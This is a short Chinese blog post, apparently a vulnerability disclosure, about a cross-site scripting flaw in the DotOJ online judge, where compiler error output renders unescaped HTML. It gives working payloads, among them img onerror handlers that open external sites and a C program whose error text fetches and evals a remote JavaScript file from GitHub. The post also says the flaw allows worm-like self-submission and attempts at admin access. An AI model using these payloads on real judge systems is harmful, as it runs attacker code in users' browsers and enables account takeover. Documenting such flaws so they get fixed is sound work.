XSS on DotOJ

众所周知,呢喃的若干课程都使用了 DotOJ 或其魔改版,比如 CPL 和信计导论实验。假如你比较手滑,有的时候会出现这种情况:

1
2
#include <algorithms>
int main() {}

然后自然报错了,像这样:

1
2
3
4
main.c:1:10: fatal error: algorithms: No such file or directory
1 | #include
| ^~~~~~~~~~~
compilation terminated.

头文件不见了,原来是变成了 <algorithms> 标签。

那么发挥一下想象力,我们可以做到:

1
#include <img src="" onerror="window.open('https://ys.mihoyo.com/').focus();">

这样也不在话下:

1
#include <img src="" onerror="window.open('https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default');">

这里的关键在于让标签出现在评测信息的同一个 div 里,不能被拆开,所以在编辑框里没办法触发。而且头文件里还不能塞 >,字符串转义也挺麻烦的。

这么说的话,为什么一定要用头文件呢?只要出现在评测信息里不就好了,再改成远程加载代码,所以又可以:

1
int main(){const char*ch=R"(<img src onerror="setTimeout(async function(){eval(await(await fetch('https://raw.githubusercontent.com/ax6n/malijudge/refs/heads/main/hack.js')).text())},1000);">)";char y=ch[0];y=ch[1];ERR}

这样就做到了本地执行任何代码,可以做一些很有破坏性的事情,比如自动提交本代码的副本到别的题目,或者尝试获得管理员权限。

所以就这么一点东西。修的话也好修,而且感觉得赶紧修掉:

我草 我的oj正在自动下载原神